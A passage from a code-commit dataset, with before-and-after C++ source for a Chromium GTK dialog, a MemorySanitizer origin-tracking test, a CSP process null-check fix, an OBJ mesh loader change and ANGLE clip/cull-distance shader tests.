linebreaking in the middle of words if necessary, so that extremely\n  \/\/ long hostnames (longer than one line) will still be completely shown.\n  gtk_label_set_line_wrap_mode(GTK_LABEL(label), PANGO_WRAP_WORD_CHAR);\n  gtk_box_pack_start(GTK_BOX(text_box), label, FALSE, FALSE, 0);\n  gtk_widget_set_size_request(label, 400, -1);\n\n  gtk_box_pack_start(GTK_BOX(section_box), text_box, TRUE, TRUE, 0);\n  gtk_box_pack_start(GTK_BOX(vbox), section_box, TRUE, TRUE, 0);\n\n  return vbox;\n}\n\nvoid PageInfoWindowGtk::InitContents() {\n  if (contents_)\n    gtk_widget_destroy(contents_);\n  contents_ = gtk_vbox_new(FALSE, gtk_util::kContentAreaSpacing);\n  for (int i = 0; i < model_.GetSectionCount(); i++) {\n    gtk_box_pack_start(GTK_BOX(contents_),\n                       CreateSection(model_.GetSectionInfo(i)),\n                       FALSE, FALSE, 0);\n  }\n  gtk_widget_show_all(contents_);\n  gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog_)->vbox), contents_);\n}\n\nvoid PageInfoWindowGtk::Show() {\n  gtk_widget_show(dialog_);\n}\n\nvoid PageInfoWindowGtk::ShowCertDialog() {\n  ShowCertificateViewerByID(GTK_WINDOW(dialog_), cert_id_);\n}\n\n}  \/\/ namespace\n\nnamespace browser {\n\nvoid ShowPageInfo(gfx::NativeWindow parent,\n                  Profile* profile,\n                  const GURL& url,\n                  const NavigationEntry::SSLStatus& ssl,\n                  bool show_history) {\n  PageInfoWindowMap::iterator iter =\n      g_page_info_window_map.find(url.spec());\n  if (iter != g_page_info_window_map.end()) {\n    gtk_window_present(GTK_WINDOW(iter->second->widget()));\n    return;\n  }\n\n  PageInfoWindowGtk* page_info_window =\n      new PageInfoWindowGtk(parent, profile, url, ssl, show_history);\n  page_info_window->Show();\n}\n\n}  \/\/ namespace browser\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RUN: %clangxx_msan -fsanitize-memory-track-origins -O0 %s -o %t && not %run %t >%t.out 2>&1\n\/\/ RUN: FileCheck %s < %t.out && FileCheck %s < %t.out\n\/\/ RUN: %clangxx_msan -fsanitize-memory-track-origins -O3 %s -o %t && not %run %t >%t.out 2>&1\n\/\/ RUN: FileCheck %s < %t.out && FileCheck %s < %t.out\n\n\/\/ Test origin propagation through insertvalue IR instruction.\n\n#include <stdio.h>\n#include <stdint.h>\n\nstruct mypair {\n int64_t x;\n int y;\n};\n\nmypair my_make_pair(int64_t x, int y)  {\n mypair p;\n p.x = x;\n p.y = y;\n return p;\n}\n\nint main() {\n int64_t * volatile p = new int64_t;\n mypair z = my_make_pair(*p, 0);\n if (z.x)\n   printf(\"zzz\\n\");\n \/\/ CHECK: MemorySanitizer: use-of-uninitialized-value\n \/\/ CHECK: {{in main .*insertvalue_origin.cc:}}[[@LINE-3]]\n\n \/\/ CHECK: Uninitialized value was created by a heap allocation\n \/\/ CHECK: {{in main .*insertvalue_origin.cc:}}[[@LINE-8]]\n delete p;\n return 0;\n}\n<commit_msg>Disable one MSAN test in AArch64 until we have a proper fix<commit_after>\/\/ RUN: %clangxx_msan -fsanitize-memory-track-origins -O0 %s -o %t && not %run %t >%t.out 2>&1\n\/\/ RUN: FileCheck %s < %t.out && FileCheck %s < %t.out\n\/\/ RUN: %clangxx_msan -fsanitize-memory-track-origins -O3 %s -o %t && not %run %t >%t.out 2>&1\n\/\/ RUN: FileCheck %s < %t.out && FileCheck %s < %t.out\n\n\/\/ Test origin propagation through insertvalue IR instruction.\n\/\/ REQUIRES: stable-runtime\n\n#include <stdio.h>\n#include <stdint.h>\n\nstruct mypair {\n int64_t x;\n int y;\n};\n\nmypair my_make_pair(int64_t x, int y)  {\n mypair p;\n p.x = x;\n p.y = y;\n return p;\n}\n\nint main() {\n int64_t * volatile p = new int64_t;\n mypair z = my_make_pair(*p, 0);\n if (z.x)\n   printf(\"zzz\\n\");\n \/\/ CHECK: MemorySanitizer: use-of-uninitialized-value\n \/\/ CHECK: {{in main .*insertvalue_origin.cc:}}[[@LINE-3]]\n\n \/\/ CHECK: Uninitialized value was created by a heap allocation\n \/\/ CHECK: {{in main .*insertvalue_origin.cc:}}[[@LINE-8]]\n delete p;\n return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* \n   Copyright (c) 2011-2017 Andreas F. Borchert\n   All rights reserved.\n\n   Permission is hereby granted, free of charge, to any person obtaining\n   a copy of this software and associated documentation files (the\n   \"Software\"), to deal in the Software without restriction, including\n   without limitation the rights to use, copy, modify, merge, publish,\n   distribute, sublicense, and\/or sell copies of the Software, and to\n   permit persons to whom the Software is furnished to do so, subject to\n   the following conditions:\n\n   The above copyright notice and this permission notice shall be\n   included in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n   KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n   WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n   BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n   ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n   SOFTWARE.\n*\/\n\n\/*\n   STOP process\n*\/\n\n#ifndef CSP_STOP_PROCESS_HPP\n#define CSP_STOP_PROCESS_HPP\n\n#include <cassert>\n#include <iostream>\n#include <memory>\n#include <string>\n#include \"alphabet.hpp\"\n#include \"process.hpp\"\n\nnamespace CSP {\n\n   class StopProcess: public Process {\n      public:\n\t StopProcess(const Alphabet& alphabet) :\n\t       stop_alphabet(alphabet) {\n\t }\n\t StopProcess(ProcessPtr p_alphabet) :\n\t       p_alphabet(p_alphabet) {\n\t }\n\t virtual void print(std::ostream& out) const {\n\t    out << \"STOP \" << get_alphabet();\n\t }\n\t virtual Alphabet acceptable() const {\n\t    return Alphabet();\n\t }\n      protected:\n\t virtual ProcessPtr internal_proceed(std::string& next_event) {\n\t    return nullptr;\n\t }\n\t virtual Alphabet internal_get_alphabet() const {\n\t    if (p_alphabet) {\n\t       return p_alphabet->get_alphabet();\n\t    } else {\n\t       return stop_alphabet;\n\t    }\n\t }\n      private:\n\t const Alphabet stop_alphabet;\n\t ProcessPtr p_alphabet; \/\/ process from which we take its alphabet\n\n\t virtual void initialize_dependencies() const {\n\t    p_alphabet->add_dependant(\n\t       std::dynamic_pointer_cast<const Process>(shared_from_this()));\n\t }\n   };\n\n} \/\/ namespace CSP\n\n#endif\n<commit_msg>bug fix in stop-process.hpp: p_alphabet can be null in initialize_dependencies()<commit_after>\/* \n   Copyright (c) 2011-2017 Andreas F. Borchert\n   All rights reserved.\n\n   Permission is hereby granted, free of charge, to any person obtaining\n   a copy of this software and associated documentation files (the\n   \"Software\"), to deal in the Software without restriction, including\n   without limitation the rights to use, copy, modify, merge, publish,\n   distribute, sublicense, and\/or sell copies of the Software, and to\n   permit persons to whom the Software is furnished to do so, subject to\n   the following conditions:\n\n   The above copyright notice and this permission notice shall be\n   included in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY\n   KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE\n   WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n   BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n   ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n   CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n   SOFTWARE.\n*\/\n\n\/*\n   STOP process\n*\/\n\n#ifndef CSP_STOP_PROCESS_HPP\n#define CSP_STOP_PROCESS_HPP\n\n#include <cassert>\n#include <iostream>\n#include <memory>\n#include <string>\n#include \"alphabet.hpp\"\n#include \"process.hpp\"\n\nnamespace CSP {\n\n   class StopProcess: public Process {\n      public:\n\t StopProcess(const Alphabet& alphabet) :\n\t       stop_alphabet(alphabet) {\n\t }\n\t StopProcess(ProcessPtr p_alphabet) :\n\t       p_alphabet(p_alphabet) {\n\t }\n\t virtual void print(std::ostream& out) const {\n\t    out << \"STOP \" << get_alphabet();\n\t }\n\t virtual Alphabet acceptable() const {\n\t    return Alphabet();\n\t }\n      protected:\n\t virtual ProcessPtr internal_proceed(std::string& next_event) {\n\t    return nullptr;\n\t }\n\t virtual Alphabet internal_get_alphabet() const {\n\t    if (p_alphabet) {\n\t       return p_alphabet->get_alphabet();\n\t    } else {\n\t       return stop_alphabet;\n\t    }\n\t }\n      private:\n\t const Alphabet stop_alphabet;\n\t ProcessPtr p_alphabet; \/\/ process from which we take its alphabet\n\n\t virtual void initialize_dependencies() const {\n\t    if (p_alphabet) {\n\t       p_alphabet->add_dependant(\n\t\t  std::dynamic_pointer_cast<const Process>(shared_from_this()));\n\t    }\n\t }\n   };\n\n} \/\/ namespace CSP\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include \"obj.h\"\n\n#include <fstream>\n#include <sstream>\n#include <string>\n#include <cassert>\n#include <array>\n\n#include <boost\/filesystem.hpp>\n\n#include \"generic_polymesh.inl\"\n#include \"obj.h\"\n\nnamespace possumwood {\nnamespace polymesh {\n\nnamespace {\n\tstruct FaceIndex {\n\t\tint v = -1;\n\t\tint vn = -1;\n\t\tint vt = -1;\n\t};\n\n\tstruct Face {\n\t\tstd::vector<FaceIndex> indices;\n\t\tstd::size_t objectId;\n\t};\n\n\tstd::istream& operator >> (std::istream& in, FaceIndex& f) {\n\t\tf.v = -1;\n\t\tf.vn = -1;\n\t\tf.vt = -1;\n\n\t\tin >> f.v;\n\t\tif(in.peek() == '\/') {\n\t\t\tin.get();\n\n\t\t\tif(in.peek() != '\/')\n\t\t\t\tin >> f.vt;\n\n\t\t\tassert(in.peek() == '\/');\n\t\t\tin.get();\n\n\t\t\tif(in.peek() >= '0' && in.peek() <= '9')\n\t\t\t\tin >> f.vn;\n\n\t\t\tassert(in.peek() != '\/');\n\t\t}\n\n\t\treturn in;\n\t}\n\n\tGenericPolymesh makeMesh(const std::vector<std::array<float, 3>>& v, const std::vector<std::array<float, 3>>& n, const std::vector<std::array<float, 2>>& uv, const std::vector<Face>& f, std::size_t indexCount) {\n\t\tGenericPolymesh result;\n\n\t\t\/\/ copy the vertex data\n\t\t{\n\t\t\t\/\/ only one per-vertex attribute - position P\n\t\t\tGenericPolymesh::Vertices::Handle p = result.vertices().handles().\n\t\t\t\tadd<std::array<float, 3>>(\"P\", std::array<float, 3>{{0,0,0}});\n\n\t\t\tfor(auto& vert : v) {\n\t\t\t\tauto vi = result.vertices().add();\n\t\t\t\tvi->set(p, vert);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ normals handle\n\t\tGenericPolymesh::Indices::Handle normalsHandle;\n\t\tif(!n.empty())\n\t\t\tnormalsHandle = result.indices().handles().\n\t\t\t\tadd<std::array<float, 3>>(\"N\", std::array<float, 3>{{0,0,0}});\n\n\t\t\/\/ uv handle\n\t\tGenericPolymesh::Indices::Handle uvHandle;\n\t\tif(!n.empty())\n\t\t\tuvHandle = result.indices().handles().\n\t\t\t\tadd<std::array<float, 2>>(\"uv\", std::array<float, 2>{{0,0}});\n\n\t\t\/\/ copy the polygon data\n\t\t{\n\t\t\tstd::vector<std::size_t> indices;\n\t\t\tstd::vector<std::size_t> normals;\n\t\t\tstd::vector<std::size_t> uvs;\n\n\t\t\t\/\/ only one per-polygon attribute - object ID\n\t\t\tGenericPolymesh::Polygons::Handle objId = result.polygons().handles().\n\t\t\t\tadd<int>(\"objectId\", 0);\n\n\t\t\tfor(auto& face : f) {\n\t\t\t\tindices.clear();\n\t\t\t\tnormals.clear();\n\t\t\t\tuvs.clear();\n\n\t\t\t\tfor(auto& i : face.indices) {\n\t\t\t\t\tassert(i.v > 0);\n\t\t\t\t\tindices.push_back(i.v - 1);\n\n\t\t\t\t\tif(i.vn > 0)\n\t\t\t\t\t\tnormals.push_back(i.vn - 1);\n\n\t\t\t\t\tif(i.vt > 0)\n\t\t\t\t\t\tuvs.push_back(i.vt - 1);\n\t\t\t\t}\n\n\t\t\t\tauto fi = result.polygons().add(indices.begin(), indices.end());\n\t\t\t\tfi->set(objId, (int)face.objectId);\n\n\t\t\t\tif(!normals.empty()) {\n\t\t\t\t\tassert(normals.size() == fi->size());\n\n\t\t\t\t\tauto ni = normals.begin();\n\t\t\t\t\tauto f = fi->begin();\n\n\t\t\t\t\tfor(; f != fi->end(); ++f, ++ni)\n\t\t\t\t\t\tf->set(normalsHandle, n[*ni]);\n\t\t\t\t}\n\n\t\t\t\tif(!uvs.empty()) {\n\t\t\t\t\tassert(uvs.size() == fi->size());\n\n\t\t\t\t\tauto uvi = uvs.begin();\n\t\t\t\t\tauto f = fi->begin();\n\n\t\t\t\t\tfor(; f != fi->end(); ++f, ++uvi)\n\t\t\t\t\t\tf->set(uvHandle, uv[*uvi]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n}\n\nGenericPolymesh loadObj(boost::filesystem::path path) {\n\tassert(boost::filesystem::exists(path));\n\n\tstd::vector<std::array<float, 3>> vertices, normals;\n\tstd::vector<std::array<float, 2>> uvs;\n\tstd::vector<Face> faces;\n\n\tstd::size_t vertexOrigin = 0;\n\tstd::size_t normalOrigin = 0;\n\tstd::size_t uvOrigin = 0;\n\tstd::size_t objectId = 0;\n\n\tstd::size_t indexCount = 0;\n\n\tstd::ifstream file(path.string());\n\n\twhile(!file.eof()) {\n\t\tstd::string line;\n\t\tstd::getline(file, line);\n\n\t\tif(!line.empty() && line[0] != '#') {\n\t\t\tstd::stringstream linestr(line);\n\n\t\t\tstd::string id;\n\t\t\tlinestr >> id;\n\n\t\t\tif(id == \"o\") {\n\t\t\t\tif(vertices.size() != vertexOrigin || normalOrigin != normals.size()) {\n\t\t\t\t\tvertexOrigin = vertices.size();\n\t\t\t\t\tnormalOrigin = normals.size();\n\t\t\t\t\tuvOrigin = uvs.size();\n\n\t\t\t\t\t++objectId;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(id == \"v\") {\n\t\t\t\tstd::array<float, 3> v;\n\t\t\t\tlinestr >> v[0] >> v[1] >> v[2];\n\n\t\t\t\tvertices.push_back(v);\n\t\t\t}\n\t\t\telse if(id == \"vn\") {\n\t\t\t\tstd::array<float, 3> n;\n\t\t\t\tlinestr >> n[0] >> n[1] >> n[2];\n\n\t\t\t\tnormals.push_back(n);\n\t\t\t}\n\t\t\telse if(id == \"vt\") {\n\t\t\t\tstd::array<float, 2> t;\n\t\t\t\tlinestr >> t[0] >> t[1];\n\n\t\t\t\tuvs.push_back(t);\n\t\t\t}\n\t\t\telse if(id == \"f\") {\n\t\t\t\tFace f;\n\t\t\t\tf.objectId = objectId;\n\n\t\t\t\twhile(!linestr.eof()) {\n\t\t\t\t\tFaceIndex fi;\n\t\t\t\t\tlinestr >> fi;\n\n\t\t\t\t\tif(fi.vn >= 0)\n\t\t\t\t\t\tfi.vn += normalOrigin;\n\n\t\t\t\t\tif(fi.vt > 0)\n\t\t\t\t\t\tfi.vt += uvOrigin;\n\n\t\t\t\t\tif(fi.v > 0) {\n\t\t\t\t\t\tfi.v += vertexOrigin;\n\n\t\t\t\t\t\tf.indices.push_back(fi);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tassert(f.indices.size() >= 3);\n\t\t\t\tindexCount += f.indices.size();\n\n\t\t\t\tfaces.push_back(f);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn makeMesh(vertices, normals, uvs, faces, indexCount);\n}\n\n}\n}\n<commit_msg>Polymesh obj loading throws an exception on bad filename<commit_after>#include \"obj.h\"\n\n#include <fstream>\n#include <sstream>\n#include <string>\n#include <cassert>\n#include <array>\n\n#include <boost\/filesystem.hpp>\n\n#include \"generic_polymesh.inl\"\n#include \"obj.h\"\n\nnamespace possumwood {\nnamespace polymesh {\n\nnamespace {\n\tstruct FaceIndex {\n\t\tint v = -1;\n\t\tint vn = -1;\n\t\tint vt = -1;\n\t};\n\n\tstruct Face {\n\t\tstd::vector<FaceIndex> indices;\n\t\tstd::size_t objectId;\n\t};\n\n\tstd::istream& operator >> (std::istream& in, FaceIndex& f) {\n\t\tf.v = -1;\n\t\tf.vn = -1;\n\t\tf.vt = -1;\n\n\t\tin >> f.v;\n\t\tif(in.peek() == '\/') {\n\t\t\tin.get();\n\n\t\t\tif(in.peek() != '\/')\n\t\t\t\tin >> f.vt;\n\n\t\t\tassert(in.peek() == '\/');\n\t\t\tin.get();\n\n\t\t\tif(in.peek() >= '0' && in.peek() <= '9')\n\t\t\t\tin >> f.vn;\n\n\t\t\tassert(in.peek() != '\/');\n\t\t}\n\n\t\treturn in;\n\t}\n\n\tGenericPolymesh makeMesh(const std::vector<std::array<float, 3>>& v, const std::vector<std::array<float, 3>>& n, const std::vector<std::array<float, 2>>& uv, const std::vector<Face>& f, std::size_t indexCount) {\n\t\tGenericPolymesh result;\n\n\t\t\/\/ copy the vertex data\n\t\t{\n\t\t\t\/\/ only one per-vertex attribute - position P\n\t\t\tGenericPolymesh::Vertices::Handle p = result.vertices().handles().\n\t\t\t\tadd<std::array<float, 3>>(\"P\", std::array<float, 3>{{0,0,0}});\n\n\t\t\tfor(auto& vert : v) {\n\t\t\t\tauto vi = result.vertices().add();\n\t\t\t\tvi->set(p, vert);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ normals handle\n\t\tGenericPolymesh::Indices::Handle normalsHandle;\n\t\tif(!n.empty())\n\t\t\tnormalsHandle = result.indices().handles().\n\t\t\t\tadd<std::array<float, 3>>(\"N\", std::array<float, 3>{{0,0,0}});\n\n\t\t\/\/ uv handle\n\t\tGenericPolymesh::Indices::Handle uvHandle;\n\t\tif(!n.empty())\n\t\t\tuvHandle = result.indices().handles().\n\t\t\t\tadd<std::array<float, 2>>(\"uv\", std::array<float, 2>{{0,0}});\n\n\t\t\/\/ copy the polygon data\n\t\t{\n\t\t\tstd::vector<std::size_t> indices;\n\t\t\tstd::vector<std::size_t> normals;\n\t\t\tstd::vector<std::size_t> uvs;\n\n\t\t\t\/\/ only one per-polygon attribute - object ID\n\t\t\tGenericPolymesh::Polygons::Handle objId = result.polygons().handles().\n\t\t\t\tadd<int>(\"objectId\", 0);\n\n\t\t\tfor(auto& face : f) {\n\t\t\t\tindices.clear();\n\t\t\t\tnormals.clear();\n\t\t\t\tuvs.clear();\n\n\t\t\t\tfor(auto& i : face.indices) {\n\t\t\t\t\tassert(i.v > 0);\n\t\t\t\t\tindices.push_back(i.v - 1);\n\n\t\t\t\t\tif(i.vn > 0)\n\t\t\t\t\t\tnormals.push_back(i.vn - 1);\n\n\t\t\t\t\tif(i.vt > 0)\n\t\t\t\t\t\tuvs.push_back(i.vt - 1);\n\t\t\t\t}\n\n\t\t\t\tauto fi = result.polygons().add(indices.begin(), indices.end());\n\t\t\t\tfi->set(objId, (int)face.objectId);\n\n\t\t\t\tif(!normals.empty()) {\n\t\t\t\t\tassert(normals.size() == fi->size());\n\n\t\t\t\t\tauto ni = normals.begin();\n\t\t\t\t\tauto f = fi->begin();\n\n\t\t\t\t\tfor(; f != fi->end(); ++f, ++ni)\n\t\t\t\t\t\tf->set(normalsHandle, n[*ni]);\n\t\t\t\t}\n\n\t\t\t\tif(!uvs.empty()) {\n\t\t\t\t\tassert(uvs.size() == fi->size());\n\n\t\t\t\t\tauto uvi = uvs.begin();\n\t\t\t\t\tauto f = fi->begin();\n\n\t\t\t\t\tfor(; f != fi->end(); ++f, ++uvi)\n\t\t\t\t\t\tf->set(uvHandle, uv[*uvi]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t}\n}\n\nGenericPolymesh loadObj(boost::filesystem::path path) {\n\tif(!boost::filesystem::exists(path))\n\t\tthrow std::runtime_error(\"File \" + path.string() + \" doesn't exist\");\n\n\tstd::vector<std::array<float, 3>> vertices, normals;\n\tstd::vector<std::array<float, 2>> uvs;\n\tstd::vector<Face> faces;\n\n\tstd::size_t vertexOrigin = 0;\n\tstd::size_t normalOrigin = 0;\n\tstd::size_t uvOrigin = 0;\n\tstd::size_t objectId = 0;\n\n\tstd::size_t indexCount = 0;\n\n\tstd::ifstream file(path.string());\n\n\twhile(!file.eof()) {\n\t\tstd::string line;\n\t\tstd::getline(file, line);\n\n\t\tif(!line.empty() && line[0] != '#') {\n\t\t\tstd::stringstream linestr(line);\n\n\t\t\tstd::string id;\n\t\t\tlinestr >> id;\n\n\t\t\tif(id == \"o\") {\n\t\t\t\tif(vertices.size() != vertexOrigin || normalOrigin != normals.size()) {\n\t\t\t\t\tvertexOrigin = vertices.size();\n\t\t\t\t\tnormalOrigin = normals.size();\n\t\t\t\t\tuvOrigin = uvs.size();\n\n\t\t\t\t\t++objectId;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if(id == \"v\") {\n\t\t\t\tstd::array<float, 3> v;\n\t\t\t\tlinestr >> v[0] >> v[1] >> v[2];\n\n\t\t\t\tvertices.push_back(v);\n\t\t\t}\n\t\t\telse if(id == \"vn\") {\n\t\t\t\tstd::array<float, 3> n;\n\t\t\t\tlinestr >> n[0] >> n[1] >> n[2];\n\n\t\t\t\tnormals.push_back(n);\n\t\t\t}\n\t\t\telse if(id == \"vt\") {\n\t\t\t\tstd::array<float, 2> t;\n\t\t\t\tlinestr >> t[0] >> t[1];\n\n\t\t\t\tuvs.push_back(t);\n\t\t\t}\n\t\t\telse if(id == \"f\") {\n\t\t\t\tFace f;\n\t\t\t\tf.objectId = objectId;\n\n\t\t\t\twhile(!linestr.eof()) {\n\t\t\t\t\tFaceIndex fi;\n\t\t\t\t\tlinestr >> fi;\n\n\t\t\t\t\tif(fi.vn >= 0)\n\t\t\t\t\t\tfi.vn += normalOrigin;\n\n\t\t\t\t\tif(fi.vt > 0)\n\t\t\t\t\t\tfi.vt += uvOrigin;\n\n\t\t\t\t\tif(fi.v > 0) {\n\t\t\t\t\t\tfi.v += vertexOrigin;\n\n\t\t\t\t\t\tf.indices.push_back(fi);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tassert(f.indices.size() >= 3);\n\t\t\t\tindexCount += f.indices.size();\n\n\t\t\t\tfaces.push_back(f);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn makeMesh(vertices, normals, uvs, faces, indexCount);\n}\n\n}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright 2020 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ EXT_clip_cull_distance_test.cpp:\n\/\/   Test for EXT_clip_cull_distance\n\/\/\n\n#include \"tests\/test_utils\/ShaderExtensionTest.h\"\n\nnamespace\n{\nconst char EXTPragma[] = \"#extension GL_EXT_clip_cull_distance : require\\n\";\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\nconst char VertexShaderCompileSucceeds1[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[1] = dot(aPosition, uPlane);\n        gl_CullDistance[1] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\nconst char VertexShaderCompileSucceeds2[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[4];\n    out highp float gl_CullDistance[4];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char VertexShaderCompileFails1[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[5] = dot(aPosition, uPlane);\n        gl_CullDistance[4] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char VertexShaderCompileFails2[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[5];\n    out highp float gl_CullDistance[4];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance\n\/\/ But, the array size is greater than gl_MaxClipDistances\nconst char VertexShaderCompileFails3[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[gl_MaxClipDistances + 1];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Access gl_CullDistance with integral constant index\n\/\/ But, the index is greater than gl_MaxCullDistances\nconst char VertexShaderCompileFails4[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_CullDistance[gl_MaxCullDistances] = dot(aPosition, uPlane);\n    })\";\n\nconst char VertexShaderCompileFails5[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    attribute vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_CullDistance[0] = 0.0;\n    })\";\n\nconst char VertexShaderCompileFailes6[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    attribute vec4 aPosition;\n\n    varying float gl_ClipDistance[1];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[0] = 0.0;\n    })\";\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\nconst char FragmentShaderCompileSucceeds1[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor = vec4(gl_ClipDistance[0], gl_CullDistance[0], 0, 1);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\nconst char FragmentShaderCompileSucceeds2[] =\n    R\"(\n    in highp float gl_ClipDistance[4];\n    in highp float gl_CullDistance[4];\n\n    in highp vec4 aPosition;\n\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor.x = gl_ClipDistance[gl_MaxClipDistances - 6 + 1];\n        fragColor.y = gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)];\n        fragColor.z = gl_CullDistance[gl_MaxCullDistances - 6 + 1];\n        fragColor.w = gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)];\n    })\";\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char FragmentShaderCompileFails1[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor = vec4(gl_ClipDistance[4], gl_CullDistance[5], 0, 1);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char FragmentShaderCompileFails2[] =\n    R\"(\n    in highp float gl_ClipDistance[5];\n    in highp float gl_CullDistance[4];\n\n    in highp vec4 aPosition;\n\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor.x = gl_ClipDistance[gl_MaxClipDistances - 6 + 1];\n        fragColor.y = gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)];\n        fragColor.z = gl_CullDistance[gl_MaxCullDistances - 6 + 1];\n        fragColor.w = gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)];\n    })\";\n\n\/\/ In fragment shader, writing to gl_ClipDistance should be denied.\nconst char FragmentShaderCompileFails3[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        gl_ClipDistance[0] = 0.0f;\n        fragColor = vec4(1, gl_ClipDistance[0], 0, 1);\n    })\";\n\n\/\/ In fragment shader, writing to gl_CullDistance should be denied even if redeclaring it with the\n\/\/ array size\nconst char FragmentShaderCompileFails4[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    in highp float gl_CullDistance[1];\n\n    void main()\n    {\n        gl_CullDistance[0] = 0.0f;\n        fragColor = vec4(1, gl_CullDistance[0], 0, 1);\n    })\";\n\n\/\/ Accessing to gl_Clip\/CullDistance with non-const index should be denied if the size of\n\/\/ gl_Clip\/CullDistance is not decided.\nconst char FragmentShaderCompileFails5[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        medium float color[3];\n        for(int i = 0 